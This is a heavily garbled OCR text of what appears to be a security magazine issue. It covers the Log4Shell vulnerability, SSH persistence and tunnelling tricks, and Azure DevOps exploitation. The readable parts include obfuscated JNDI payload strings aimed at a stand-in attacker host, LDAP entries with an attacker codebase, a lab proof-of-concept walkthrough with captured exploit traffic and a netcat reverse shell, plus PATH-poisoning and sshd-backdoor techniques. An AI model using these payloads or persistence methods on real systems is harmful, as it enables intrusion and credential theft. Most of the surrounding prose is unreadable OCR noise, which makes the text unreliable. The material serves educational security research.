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STATEMENT FROM CISA DIRECTOR EASTERLY ON “LOG4J” VULNERABILITY

Original release date: December 11, 2021

WASHINGTON - Cybersecurity and Infrastructure Security Agency (CISA) Director Jen Easterly released the following statement today on the “log4j” vulnerability:
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a

Statement from the Minister of National Defence on Apache
Vulnerability and Call to Canadian Organizations to Take Urgent
Action

b
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L
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The Government of Canada Is aware of an Apache product vulnerability, which has the potential to be used by bad actors in limited and targeted attacks.
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Xy 1s”y“”§x~lL X 1s

Severity CVSSVersion3.x ISR EEEIPN)

CVSS 3.X Severity and Metrics:

@ NIST: NVD Base Score: RN Vector: CVSS:3.1/AV:N/AC:L/PR:N/ULN/S:C/C:H/I:H/A:H

NVD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information provided within the
CVE List from the CNA.

MNorte: NVD Analysts have published o CVSS score for this CVE based on publicly available information ot the time of analysis. The cNA has not provided
a score within the CVE List.
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1. <?xml version="1.8" encoding="UTF-8"?>

2. <Configuration status="WARN">

3. <Appenders>

4. <Console name="Console" target="SYSTEM OUT">»

5. <PatternLayout pattern="%d{HH:mm:ss5.555} [%t] %-5level Xlogger{36} - Hmsghn"/>

6. </Console>

7. </Appenders>

8. <Loggers>

9. <Root level="error">»

1@. <AppenderRef ref="Console"/>

11. </Root>

12. </Loggers>

13. </Configuration>
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" ds. 1 wos 4 error()s | x IsEs x|

7. public class MyApp {

8.

9. // Define a static logger wvariable so that it references the

10. // Logger instance named "MyApp".
11. private static final Logger logger = LogManager.getlLogger(MyfApp.class);
12.
13. public static void main(final String... args) {
14.
15. // Set up a simple configuration that logs on the console.
16.
17. logger.trace("Entering application.™);
18. Bar bar = new Bar();
19. if (!bar.doIt()) {
20. logger.error("Didn't do it.");
21. }
22. logger.trace("Exiting application.");
23. }
24. }

¥ X Bogt f X T 0 Xk 4 s

17:13:81.548 [main] TRACE MyApp - Entering application.
17:13:81.548 [main] TRACE com.foo.Bar - entry
17:13:981.548 [main] ERROR com.foo.Bar - Did it again!
17:13:21.540 [main] TRACE com.foo.Bar - exit with (false)
17:13:01.548 [main] ERROR MyApp - Didn't do it.
17:13:81.548 [main] TRACE MyApp - Exiting application.

TRACE, ERRDRZL * -

XXx{43$ 7 XThreadts TEnestamp, ~ X ¥ ¥ x 1 1 x 7
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¥oooXIs{ TR L g SIE T s LS S X

|{PattEPnLay0ut pattern

"Rd{HH:mm:55.555)} [%t] %-5level Xlogger{3s] ¥mzgkn" />
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Log4j- Lookups

1 S § 1 sLBokups: « ~ 87", 1 kogdj: 14474 4+M4,{ 351«

Tt x _q4_» %L 8 x5 oy xds > cakBgdj 14 x4 el 4 X s
${Lookup_Type:Lookup_Resourcd}Yls « .Syntaxt _& x *Lookupt + ~ * s1* 4 Syntax
1 1.+ »wlsookup_Resourge ! x 5 * _ s ™ Lookups ¥ xx " Hoekup_Type _ - |
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log4j2 formatisgMNolLookups FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
(log4j2 formatMsgMNoLookups)

SIS AL X A E BG5S A s . X ¥ XA s T, s XssT o x DX

DockerLookup. - X « . X !

. <JsonlLayout properties="true" compact="true" eventEol="true">

{KeyValuePair key="containerId” value="%{docker:containerId}”/>

value="%{docker: containerName}"/>

<KeyValuePair key="imageMame" value="%{docker:imageMame}"/>

1
2
3. <KeyValuePair key="containerNams'
4
5

. <fJsonLayout:>
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Fod XX 1.8 ] X

nputit L 0 4~ SN HE 44 17 xSyntaxes «s s SLog4f 1 4 -
W 4 X x s

>

offset; i < workingBuilder.length() - 1; i++) { 12
(workingBuilder.charAt(i) == && workingBuilder.charAt(i + == ) {
String value = workingBuilder.substring(offset, workingBuilder.length())
workingBuilder.setLength(offset)
workingBuilder.append( .getStrSubstitutor().replace(event, value))

S d.w$ ] LBOkupt Y X4 X § 4 F 4 Log4jrs 4 1 xS s Iy X
@19 Us _ % Wx {Lookugt ~ X! x x4 I <7 i dAgPlaces 1« 7 X

> >

I 54« <7 f% 3xdubstitutes 4 SX _SX{". T x{li. X igplaces 1 .« « F xS
shibstituar @ 4 * 1 S Xdwrm X TIIXE w8 XTI 4 4 a8 05X x]el N
¥ 1 Lookup! x Ldokup. _ X < +*  kogdj r X .~ X
(substitutionInVariablesEnabled) A

StringBuilder bufName =

X o4 isTe A x JThE A | K "Lookups 1 L 1Payloads x 71 A L x L f X
Y 1« *PRayloadt - *x  __«s _ X7 X " Js x4 4 L%

~ v~ v ~ ~ ~ o~ v v i~y

${%{lower:jindi:${lower:1}${lower:d}a%{lower:p}: //somesitehackerofhell.com/z}

5:5¥S NAME:-i}:1dap:/somesitehackerofthell.com/z}

Y 1 <% 4*s{14 Obfuscationl ~ *r.4L_ _ x Xookupt _~ * - _ + X

${3{what:ever:-j}${some:thing: -n}${other:thing: -d}${and:last:-i}:1dap://somesitehackerofthell.com/z}
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JNDI

TtNaming Servicas X._+ ~» X _.«_: .« S _X 7 (Java Naming and Directdmterface)JNDI

~ ~ > ~

~ v

Lo~ ssixo ] o041 8 s T WJINDISE | @4 vxd o Xt x4« Directory Services

dx 41, xTx D LDAP - s ¥ %3 1 TEX XXX

LRSI N4 AT X4 CRMIX JEDIF 44 % T A0 X 4

Do L sl D S YT 4 LDAP e X loosod x s 4

~ ~ ~ o~ ~ ~A ~ v~ -

1

~

x s @

Log4Shell . x 1

JNDI LDAP
E XL ¢ LLDAPL ok« _ . ixS"si_ | INDL _fEDAR _ X | ASEss "1 4 |
10 7 R S XX LW X X TS ] e XK RS S x|

Gaval 1~ 14 X ¥ 12X T8l PDAP

®ADAP x 44 ¥ kX %w_ 4 _ "I FDAP . { *ividaval « 1 X Xw L35

L

A v

coxo X DX 4 w441 .] Active Directory ~ X4 Dk x 4 K4 Al s v Lo

Instace- * 4 L5 % x _ 4 {TLDINDE _ x _HAX L @dX € 40 ddaval 4 4 v x|

Yoe X g %

~

ObjectClass: inetOrgPerson

UID: john

Name: John Smith

Email Address: johnfexample.org

Location: Vegas, NV

javaSerializedData: ACEDO01A43C4432FEEA1489AR89EF11183E499.
javaCodebase: http://attacker-server/

javaClassName: DeserializationPayload

cx oAyl XZE s ¢4 x4 41X x{JdvaSeriazliedData ! _ $ | x « %

@1 b4 A XMW EDAR | XL T X

t 17
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® . 11 Reference: ¥ « 1 4 ADAP: x _d 44 fs 55 G« X

S L Tk Sx

~

® x d 1 * PRactory€lass + _

”

15 44 X4e1ss « "Ixqe d F X 4 4s

A TSt T e D DA s e s 4 A YsXadd 0 X X 04 " Nl 4 PFactory: « L 0
¥ s X<y s

ObjectClass: inetOrgPerson, javaNamingReference

UID: john

Name: John Smith
Email Address: Jjohn@example.org
Vegas, NV

javaCodebase: http://attacker-server/

Location:

JavaFactory: Factory

javaClassName: MyClass

Log4j- INDI Lookups

Pl
Doax s " < JEDI Lookupg ~ X X Tl <

® 9~ 1

v v v~

FEUSLx0 W4 R X Ko 4 X

1:xX,,, x o

a

LYX LU ow XS ST S x|

Jee Ao ds o wrobkupe r 4 TExd % X4 HOH W1 @og4j Lookups S o~ X 1T a x €77

gL

‘)X:LLXJ'IS

LI s 4 Ex  HAoAx L Reference Javal « 4 % X ¥ xIos x ™44 ., |

ONDF x

v o~

¥

¥ X $x 144 L ~X T, ”-l ’: ¥ d-x'l ” 'I 'IX”ﬂ.AS-LLL -||.-|-| "V-I q ” X

name, then the attributes from the entry are used to reconstruct that object (see the exam
the JNDI Tutorial). Otherwise, the attributes from the entrg ased to create a DirContext

instance that represents the LDAP entiy. either case, the LDAP provider invokes

DirectoryManager.getObjectinstance() on the object and returns the resalts

raclee 1 _ _

,,,"a‘\_jsx]v

If a java.io.Serializable, Referenceable, or Reference object was previously bound to that LDAP

ple in

~ ~ X1541 1 Referencex 1% 4 {4s* x4« ]* #ASDAP: x L 4x " _

BTN L d L X

s Constructors -

1 .xs” 48k 1 1 _Instance- x {4 @ 1 " x1x« 4~ 4 XInstance

*

®  Constructor® + ¥ | 2 X % P4 v xXSX X 1 o %R s x

@ 7 €dnstructor x S Ixdsx A Lqsti)x ] 4, < x Iss | I3 |
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t

® . 4 ool s b g X

~ v ~ ~

P drd .40 x HETP _ X _UserAgent 134 1 1 xS X ¥ ., * Tx s {1 .
1 X s I X x,0 X, oa ] X Do Usy LByl 44 e VXA X RS L X x|

>T v oA ~ v ~ ~ A a

@ x i ¢4 " X, ¥, xLookups 1 1 s L

A~ v o~ o~ v

1 S L A R SRR B IO T L SN 7 [ SIS TEETIFINE [T SR e L
S v 44D IS 9 %L x %4 x3 1 1 { LDAP - _ INDI Lookup 1 S slx ”
DA AR A doxxs M x DA {UDAP | <L _1¥ " xResource - 1 : X _ 1doRup

® xx " (], 199F €dnsturctor

DX X0 sinpute JSE 4 S H T S 4 4 0« 450 T X X x|
Fd -5 Lt b X Y Do s 0 S , 1y
<°,>
Payload
User-Agent H

jndi:/ exploit string

é

Referrer

LIS

Web app E D
e _—
] g E
Logging code infra vu'“ﬁ:;:’;fyL°g4j

Cloud/backend

Username, account,
email

[

Y

service
Application name,
device name
Text/form input
https://msre-blog.microsoft.com/2021/12/11/microsoftsesponseto-cve-2021-44228apachelog4i2 Y [5)
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s . _ s8Il 05 <7 1 *(https://github.com/kozmer/logdisheltpoc = * s x 4+ x> 7 i A

I'x < sJaval « 1 {Reference x x s ADAP x (414 _* _ _ +* X™PoGt. : _ ~» s, ™
¥oooXssT x X% g x X0 GRely 4 _xsTe o~ ] X X 4 7 xOlas® LS _

(userip: str, lport: int) —

% (userip, lport)
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https://github.com/kozmer/log4j-shell-poc

Technologic

4 " xClag®: _ ¥<(W . <44l x LDARS ~ o~ 45 7 ]
R kali@kali: ~/Desktop/log4j-shell-poc

File Actions Edit View Help

-[~/Desktop/log4j-shell-poc
udo poc.py localhost
[sudo] password for kali:

[+] Starting Webserver on port 9999 http://0.0.0.0:9999
Listening on 0.0.0.0:1389

¥ox g ane” KeX <.

B kali@kali: ~/Desktop
File Actions Edit View Help
~/Desktop

9001
listening on [any] 9001

Logd4j41 ! d ' x 4 Xx 1 |login , ! *Usernames ! s 4 sx4” (s { <. ® 1 X

>

Y 1”7 xPayloadt - ~Usernamet s | _ >4 " 17

a

Hello Again!

Welcome Back

GOFinance jndi:ldap://localhost:1389/a}

The most popular peer to peer lending at SEA

DigitalWhisper

Forgot Password ?

Log4Shell
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Wireshark - Follow HTTP Stream (tcp.stream eq 5) -any

POST /login HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.8 (¥11; Linux xB86_64; rv:78.0) Gecko/20186161
Firefox/78.0

Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/
ebp, */*;0=-0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 79

Origin: http://localhost:B8086

Connection: keep-alive

Referer: http://localhost:88806/

Cookie: JSESSIONID=516AFBEFAS7CCBEGCOB2D16E7C66869B
Upgrade-Insecure-Requests: 1

uname=%24%78jndi%3Aldap%3A%2F%2Flocalhost%3A1389%2Fa%7D&password=DIG
ITALWHISPER

1[I pket, O ) pkts, O turns.
Entire conversation (596 bytes) Show dataas ASCII u

Find: Find Next

Filter Out This Stream Print Save as... Back Close Help

xN;r-’[)’({fsCi’}(xil,S~s|_s\\]ND|Zx . 4 ¥ .5 5:V1LNKDAW:~‘\X

~ - > ~

Yaval « 1 1Reference ¥ « 1 1 _ s

javaClassNMNamel...foo@(..javaCodeBasel...http://localhost:
9999/0%. .objectClassl. . . javaNamingReference®. . . javaFactoryl
..Exploite....e.

2 [ pkis, 3 A pkts, 3 turns.
Entire conversation (256 byt: ~ Showdataas ASCII Stream 6

Find: Find Next

Filter Out This Stream Print Save as... Back Help

Log4Shell
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Clasgt : ~! 1 ~LDAR : x : H#H 1"1s"*xCodebasa _ ¥ 4 » _
Wireshark - Follow HTTP Stream (tcp.stream eq 7) - any

GET /Exploit.class HTTP/1.1

Cache-Control: no-cache|

Pragma: no-cache

User-Agent: Java/1.8.0_182

Host: localhost:9999

Accept: text/html, image/gif, image/jpeg, *; q=.2,
Connection: keep-alive

HTTP/1.8 208 0K

Server: SimpleHTTP/0.6 Python/3.9.9
Sun, 89 Jan 2022 14:20:53 GM

Content-type: application/java-vm

Content-Length: 1358

1 [STEEE i, 1 B pkt, 1 turn.
Entire conversation (1,764 bytes) * Showdataas ASCII

Find: Find Next

Filter Out This Stream Print Save as... Back Close Help

Shelk ” (+1 " xCofistructort - «_ 1 43 7 XIX. 4. 18% % X ss 4

] kali@kali: ~/Desktop

File Actions Edit View Help

~/Desktop]
9001
listening on [any] 9801
connect to [127.8.8.1] from (UNKNOWN) [127.0.8.1] 54814
1s
LICENSE
NOTICE
RELEASE-NOTES
RUNNING. txt
bin
conf
include
1ib
logs
native-jni-1lib
temp
webapps
work
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Foxol A

@ XX Hsf Ho »~ v 40 ¥ 484591 %0xs | x7”s.« ., LogdShell: _ L x 1
s | X x L '{s%zx " x o] ’JXE,,X‘+ -| 4 : x,,Aval_-|v-|s-| Y x|_|_.|xA"xJI,,-|‘|.|s“,,>§< x4l . =v i«

~
~

® L% Mo K% dSPE A KX K L f R X ]

X e Sy 4 T X XTIt TR L sIXe i I ] TS s L X ] T X X, s, s
Fod o aeX D LS AXTLYXSXs X X s x| xIT s B g ] 443 Lt T L 4T 4 s

~

P S0 XS A s

Fd s T A AS] #iF XX P8 s ;4 XiaeK "8 JES XS o XX 7 s 6, 0 X

~ ~

@1 s 4SS XTI L« Sox sy X x I s®F sl s sl

. XS. "X  ll.8 X ”|_~>§_sd.||ls'|.,,1v,4_ _|,,jx"=||(\(~‘. L% s x ”=VZ|_q1[,s\. s

~ >~

~

T 1 1S LI T X7 _rPx 1Is-|-|v=Zs'| X 4 ,'-S(IA”Vj Tt ] 8 x ol X x

v o~ v

®x s Tl £ 1 e e d ¥ D0 o LogaShelr | L oxdTds T A -

~ %7 LS

S TR I A X s s e KT s T X I L Wl N 1T A

@4 X Jxxd 74 x

XU, L

> v

9 https://www.blackhat.com/docs/usl6/materials/us16-MunozA-JourneyFromJNDILDAP
ManipulationTo-RCE.pdf

9 https://blog.checkpoint.com/2021/12/13/thenumbersbehind-a-cyberpandemicdetailed

dive/
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https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/
https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/
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P A
S « S
man pages | x : X DX e X T x Lggh odax PR 4T D X w0 w0t s G x| ]
= x| x " X . T s {7 TV Xy s x,\xJ,xe”XZXZxx1.{,_x"|_><‘ LT (R RS
’_)l,-{lxxAs :|XXA Lo, s~“”x X & S - ”XXA" q
Al ox e kAT x v s sssh, A s Tohoelg*s AW LT e s 6 e X
ssh o ~_x _ ¢ 4, 717
oo oo d L X o4 Ko pecalxDynamic, Remote ¢ x Tixx ,ss 0 s s o,
Debug and Passwords
b s s o ox A e A s X ] L e S S XX N X
XL X 4 x . S
X " s I x =T ox X 07X , rsbhd xioxs, Tyes ,, Jwfs s R, 1I%x 4 .

F4Yx s, dws JXsght X, ¢ X s 7 x ] s Lo~ L XL

4 05: 39: [ 83302 ]:
4 05: 39: [ 83430]:
4 05: 39: [ 83430]: :
4 05: 39: [ 83430]: : D4, 4
4 05: 39: [ 83430]: 192. 168. 0. 105 39834
192. 168. 0.
05: 39: [ 83430]:

[ 83430]:

[ 83430]:
0x04000000

[ 83430]:

[ 83430]:

[83430]:
[83430]:
[ 83430]:
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https://en.wikipedia.org/wiki/Tunneling_protocol
https://www.digitalwhisper.co.il/files/Zines/0x6D/DW109-4-PortForwarding.pdf
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[ 83430 ]:
[ 834301
>

[ 83430]:
>
[ 83430]: :
[ 834301: g 134217728
[ 83430]: : [
[ 83430]: :
[ 83430]:
[ 83430]: :
[ 83430]: : 134217728
[ 83430]: : ]
[ 83430]: :
]
[ 83430]:
[ 83430]:
[ 83430]:
[ 83430]:
[ 83430]:

AR BEADS

4
4
4
4
4

b

[ 834301: g 0 [
[ 834301 ; :

: 39: [ 834301]: : : 1001/1001 (e=0/0)
1 39: 33 [ 834301]: :
. /
1 39: 33 [ 834301]:
'lhome/blah/.ssh/authorized_keys' :
4 05:39: 33 [ 83430]: : :
4 05:39: 33 [ 834301]: : : 1001/1001 (e=0/0)
4 05:39:33 [ 834301]: :
/ / /. /
4 05:39:33 [ 834301]:
‘lhome/blah/.ssh/authorized_keys2' :
4 05:39: 33 [ 83430]: : :
4 05:39: 33 [ 834301]: 192. 168. 0.

/

AT D

XL 1 _ x s 10 Bannefs« X 4744 <8 e T ALY

P G I I SV S , ox 41, DX, xS [ CHE L

~ > ~ ~

~ ~benjojo 7 o R I O i ) 1 - s X X »gﬁhubf X L . Do X s X s | 4

11 ] x "m0 ~ X .0 14, <X L I _— R L s 11 s

STX ] L LT is XIS AL ws L X D xE T LS T (XIS T XX sy

Y
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https://blog.benjojo.co.uk/post/auditing-github-users-keys

1

J

X

1~

F.SU LXsudo | -

~ A v

:tmpl/users.log- L Tlxis Do ¥ A

X

192. 168. 0. 105

.Su

“

1.
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. 5sbSS X L . =X X i K|
X 4 _*PAMi+h _PAM D x 1y s ]x

fsudg ssx{ 4 " _ ssh il x L 1

exs T4 x 4 x4

X . X x " X
Lo~ S A

ST T TR S R N A 1

S x C s " X v .~ S F
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Tinker with SSHD

X x " x ] I x S Zs\, SLIxx": L oStdl-*x«44 LY. ESH ps | X,X]xxgjqx I x
1.7 4 %s S - 1x o sshd_ s X L, ~Xu5 oS X X o s] X {4
.1 .54 ¥ sshdey , X~ s x o x «packdoor . « x4 W gshdd L oL %
X « Hardcoded s * x - |
S 140851 Ll o S . p S S XX .S 14, 18 1
Il s*"wsv"8shd o . XX, 1, s
x 4 s A4sshd ‘L bx_ | X CUhxxyairs Dol p L X0 ks 1 x
x4 *1s 4 .*< ¢« s BSD.1x ¥ Packdae mahagerslAida XTtipwite-™
.XHX
SSH trap by PATH poisoning
FLX X p X4 s Dsuxgsh,sudox Sxsloxs ] sX 4 s o 4 X o 0
(~1>*"_ sshellsaripgt™ xX <]}y «~xs - p4x o s A4y x7
x s x Xy Ixo s 0T x4 T x<) PATHE e S 4 ¥s N7
(-1~ __s 4 __+__. vl LX 14 F XA
x _« profilex.bashrc 1 « * « L« X XD Joiu . PTXX .o S LT
x s =+ ] Y X . , b S L X Iy s s { . %X <s . x 7 L
.Tripwire / Aida
N AX 4 vx s {  sshS output-% XD X o Wlae wn{{uXXs L oo x s 1.4
« X X% s L, X X 4 71s . x Lq X x s Xy x I .|xx\),(ss‘x.|'|ss
Lo ooxe b Y e s
Tese TAAd s 0 v AT X Xy
17 L X, s s ]
cleanup * v sshh - x <X LX< X .oos o Foedn . XXX
’Xx X "L x " o <X X s " x « , S sx 1 4 sXf S | « X S
expect xsshpass *x _ | x Topxe L sy s
D N X« .5 41 4.0 5 L
Secure SHell in Unsecure System
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PATH © « 04 » s 1 147

x 'y X xs  pashres .~ s 1a_Xx "
PATH=/tmp:$PATH

fmpl A AT L e A kS s

I— -

cx L, xo s 4 1 4.8

Tox  4ls Loxox {1 x"s s
=1 ¢s « XS Nv:~vs M- SBSHS'F“"XXLX":rJ-I-Il-\» |—,~ﬂT‘|'+51“‘J xx9<~
VLS BN [ N Tl owd Ay e v s,

oo T es s 4 0 s e o x

CENE R T | N N
(P xys?iss SaoSsT o )ysdadr § x4
(-~ sleep xs _ S 4~ A _ xs . ~) sqO.4.* s

X X S I X I.||_“s,_xﬂ,,><'|is|_

=$(echo $@|tr ' "' \ n' [grep @|cut -d'@" -fl)
=$(grep -Eo -- "-l+"<<<$@|cut -c3-|tr

Pl e X T XYL s 4 s s s D e g X Xy

s 1+ s> PAM Ha~lsshsr « , v 141 _ x|

Jump SSH

R B e * xS s X Web, s xy'x Il 1t . XX, s 1Y
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s S L~ Wehiss: .~ | . Itse 0 x . X7 DBS wnl v L v 4854Y s s 4 74s
X ] X S L s 4 s { %X , x s I %X < $ K o X {s x|,
Fdlo. s
Ix . Welds: s x| 11. s , . S : + BadHFractices s 4 s Cox
x BBs ¢ w _ %  TWebd o, Lo~ 1 _ 1 -Lecal Junriel_~s*x « 4 L «~ {s L X
1 1% x < s 4 s ! JIxoxx 4 x ¢ s
17~ v 2seoyshosy gumps . ¥ sshy o« XL v 4 s v s b ] '
MAL -~ MM 44 xs ssh ore X 1NiXs L
@92. 168. 0. 11 @92. 168. 0. 10
. 168. 0. 11's password:
. 168. 0. 10's password:
sshagent
~ > 8shagent, - + {1 a.s8hs - ¥ 1 %7 1« | s 7 _sshademt s."x|%x I s s X
F - X $shagent s : - >0 X1 :X7 s, ¥, s x LS .
.Cachees . x 7  xs x 15
S XX s XXy x o os 4 X 0% {1 gshagenfud 4 s Lot ox ] XD
70 X T . L X "sshagent X _1w:X L squnhpr Il s LY XKD sy
A LY los . ex , X 4L
11 % ., 7s ]tmp/* /1 Bocket ¥ x | XS poa XX v XS FloL s
X « % . S L L) xS .« XS , X« 5 Xpw w® X s 4 {%Xs
FS AL s _4Y 4 X7 sogket, *sx w15 . X7
S y x| X x

$(ssh - agent)
/. /
@92. 168. 0.
@92. 168. 0. 10

11
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@92. 168. 11

SSH over ICMP

I L , S . x ]s A|1v Ty 4L ¢ :"‘BS.thVN--ﬁJme"\L P4
+ Remote tunnel + . > x o4 _ ., ¢ X s yx1l - oxo {7 11X DX s

~ ~ >

.Dynamic tunnel

X Lo X . bys T4 s | | xTRunnelss &+ _ _ _ 4« dsghg A X x1 ws > | > .
14, ‘mAHEx T Yy I, x > 0 o «xs lsshd 1J ;1 xs |l xyss
X" x 1., 8¢ S, x S ~ZXZJ~,,A|_>< Z)vx"
N 1x” L Lo~ Pxow ssha® . - s 8L, d1%X44] X ¥ |
Lx 14 T . . . _ o+ __s 1 _ s _ shhdowx passwd y ! x sshdx ¥ x .
R R T | O : L XXX ™ sshge | e kss s s €
ST X L x X x4 qdshi Ly 4 $EXx T4l s x g, x5 Xx 4 xT]
Al s 1 x s A S ] b s ke by ASiSRBL XSUXx X7, fs D 4]
X s 4 _ 4« ICMPXX{{,11 X * {xs” [CMR { * ¥Tdfndel $ _ v S s 4s:i 11+« .

.SJNé{tV\‘I,OI’k:XA'I sxA . X S ’x:x‘

. Xy s 1% s | »XTCP 15 xY 1 s 7 T XY o, s x> L
s 7 ] x s |CMPXxix+ X7 x ¥ ., X X|CMP, type 3 port unredchable x 1 o ~ ~ {1 ¢ 1 _
s , . L {1 x s [ x 1 "L Lol ox « 4 s s 4 X« S «

HO*Timeout L ~ s 1 1x 70 414, 0 0 x7 17+« T"TimeoutL S » X 47 L s« {¥% 4 -«

P : s X s x DX 4 xS

s ¢ T« b Y¥TypestH X He X |, X o Fd X O HICMP x| T, XS Tux s s, |

1 A1 « S L X X « S L « q{ s s 1 1%« X S ~ 3 S S ]~ X

~ ~ ~ !

LooL I T ox Spog [ koL os [sq x| WICMPTuphebs 1w s L . x €17

TX v S X Y 4 0 o] s (Geapy TX Y 1 . © X 4 X T x I x o
cAS L T4 xS s TuRnelSe 4ies LX S X 4 TSe X K g 4
s oL X R T RN I 3 SR
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S]JXSSX

, b1

1 ~ICMRecha Type8L 4 ¥ _ 3> |« o xXx 07, X 1%y
(EchotypeB-*+ 4 _ _ - _ . * 7« TunRep _x _ 1 _*)

Ted Xl es LGt x lgLxT T
s Yy xljptables¥gsh L _~5 _449s 4%« s 41
UL X IOWR" R AexxxDs™ 44 L 1" {s {§y o
s Tunfels t b w4 LB Q4% xs  Ix o x T L. "

Y S L

&
10. 0. 0.1/ 24

<

Tunnets s & x « gssh* |

<

> &

10. 0. 0. 2/ 24

rssh. & Tunnelss {1 ¥ x [ I

s 7 1.1 1 x
v X 1w X m X
S ” J X i X

Technologic

ostwn® "sUT A A L L1740 4

VPN over SSHsshuttle

sshtl I Dynamic tunnel' L4+ s, _4x*I *s

LY S® P XGSHWRN | i Y s X

LX) P dx A x 7

~ o~ a ~ ~

Tunnels s @ x «
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bl e x 1s o Dox o D x " dptables, e xS L 4 XS i She AT X s,
SSHA X WPNe:, [ ~sxix. o s s 1 e

> 0.0.0.0/0

X11 Forward

s T I x s Igeh s X L XN 41Xy Lo x4 % ¥ s KBLFérward
s 7 | x I s S I X « Lo -|),,\(s,“=1<>£,,'|vssZ>£~'|_vxs\-|1>:\(v2|_~~
1.0 x x4« s 4y JA4., oxs o7 T x 1 Tx D px o x T
X« X < ~ S X |~ IS pSY] "Ss X{ ¥y SISyl X v
man-s_  d.slu 4 _xy 4o o Ax 47« s@Bl T D ks s HT
~ 1 $sh _L page
basis in a configuration file.
For this re X ng is 11 SECURITY
to the ptio directive in
x IY
x K x s
Y .o X
S X Lxwagchwinx s ] x - s C s by x , s XA X s s, R T DX
DISPLAYs " - s v _ A4~ _ s v 1" . L9 e "
11 Xauthdity .. * x «s | x Cookie ‘% L~ S (1) "s_ 4 " . xy
S 1 i1 *s
X prgot-s 4 o« X7 x s 0 xwdtchwin 2o~ "d 4§, ¢ s x|

@
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eSS LTX X x T

DX 4 . FY DX

~ > > v

14« L x Iy X Keyloggers 1 s+l x .

HY
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Foxol A

1L, Feddox X R BV B Sx 4y xox 1A

~ ~ 1

ox "X gsh s X , s
.Unixbased clouet . | + Monftoting, - x " x . - Angiblel » 1 k « s X A

1 ~ o~ ~ ~

Tose L lxd_ 401 sshdl < x ™ L 1 T .Bystem s .51 5 I ™

cxs O b x o x s X, w0y e x4 x|

~ >~ ~

x ox X ICMP Junnelxw XA X" v, JSSH,LX X XX T

~ > v ~ < ~ ~ ~

) LU A Yy L v xS L XN S HS ST R A S X
lx UDP* TCP* + 4 "HMeaders 4 x % 1 4 _ SASCH- + 1k« "TRunhgl ” , (
X Tl X L . XL i . J§>Z‘1 NI S o as A sudx o
Xy Lo GRS LS. @S F Al A4 4 LSl S ATl 4 Xwy 1 THAMD
;XJ:X‘_ \X\VL o, .=XY”\.V Al-lv Y-ILF¢'ISLLX“=X:1'IX,’,,>'_‘_:
About me

edenbergerio~: - ~ * T x « o x| ox LS x4

rr ASY

https://www.terminalbytes.com/sshuttlevpn-over-sshvpn-alternative

https://web.archive.org/web/201408312309%8

https://barcodereader.wordpress.com/2009/02/19/howwn-secertlywatch-in-xk
https://stackoverflow.com/a/39802243

https://github.com/FiloSottile/whoami.filippo.io

https://labs.f-secure.com/tools/pivoiwith-ping

S v i s

https://book.hacktricks.xyz/pentesting/pentestirgsh
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https://github.com/rayahazi/PingWin
https://edenberger.io/
https://www.terminalbytes.com/sshuttle-vpn-over-ssh-vpn-alternative
https://web.archive.org/web/20140831230958/
https://barcodereader.wordpress.com/2009/02/19/how-to-secertly-watch-in-x/
https://stackoverflow.com/a/39802243
https://github.com/FiloSottile/whoami.filippo.io
https://labs.f-secure.com/tools/pivot-with-ping
https://book.hacktricks.xyz/pentesting/pentesting-ssh
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Azure DevOps Exploitation

O D T F ) S

ASY

s DT Y XL XS IR X s [ kxS 4 LsT XY 4 4417 DevOpst ¢ X 1
b Xe]qd 4 B, X Is vx -|)§ EP « 11 ~X”§‘xxh )1::SX'|E(‘: H >Z ST X Xx Is g x X): q

IS D ST xS Y 44 Sm4 4 hda JX_ (S 1« DevOpssh. .

ST e X KNI s T G N S 3 4 Li3Xse { bEfdR 4 1 4 A D4 XS x|
DTS4 pdmxpydld x £85 CJ b4 A XWX @ T, T x4

T I S I A N B R R LS T T T S

Azurer _r AL 1 ss " x Ut x oo {Xs L1 REKT « 1 QAT X L AT ] x

s " {s X X

R R A S

®@evOps

Lol 4 xS P x>y xop ] 4 O 'K x LA 1w 1 Azure DevOps

TRy L As XD L T RS x IR T xs ST X8 X X

~

XX 0s” v | Azure DevOps PevOp® + X 1S sy Xs” {0 X3

CorEsT X SSX X jKE BN owv X el T A S K s X s LK 411X

Microsoft L

_oox 7 xApdrer xs 1T 4 Kase X 4 1 X TS L wodH T X 4 X 1 L

P4 HARALS X% 4 Lo T . sy

an ~

130 7 Ky s x D4 s Xx Doooxst o Lox sl oAl 4 B 9 B v s

d x

v~

XCnoxssX 4 St X S Fxe A P X STl K A S e s X
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LX o3 HES LTy v sIpsL I AS . KXY A X s ] K R 98T § .
TTr 4 748X qdelss sY 4 ) s 14" s x s 40 ¢ 116 © 4 05 x, x L s
oot feeesx Iy ey D7y B x *2 00 4 % 8+ 0 % | LAzure DevOps
” X S L IEa xS x % R X oy kKxiux T8 XX s a7

~

mpipeline: ~ {1weBshell « L : & B« " x 1t ASRCE ¥ _¥s4 s 4 X s4 .

L S~ s 14 wueverse shelk "rid « + 4. tdwsX T+ 4 A ™ 0 Xeed "X

@”XJVS

Azure DevOps @ X « S T X1k 4 B o 4 1A L 187«

Foeosl@ex S kL X8 F 4 X X X {4 ®X]"sx o~ v F « 1 Azure DevOps

e A T L eI x4 T X R o enxid oo DX, sy e T D xos X
104 $Y I fewp s JTsaux x0T x4 X ] oo devopst | F e K44 T X 4 Y s
DX v Xl o 4 s} DAL DL XK d X S I x 1 x s

Adure DevOps 1 1 ¢+ pslimx x> o ASKe 4 p TpSsd ¥ Xy s

Y x s . S | 4s. . X JrLd 459 1 % 7 ®s, L8 6, Xk T ox X

~ S v ~ v ~ v

D7 FlAss sxx o dd P s s 4 X 0
A s Ss ux s X s I 34 %X W % Al T Ve XY e xdLy X
XPIEY] x & X P X X UXNT] 2 ¢
@Google ClouAWS x * {:*¥Aztire DevOp$ . _ © _ 3 1 1T
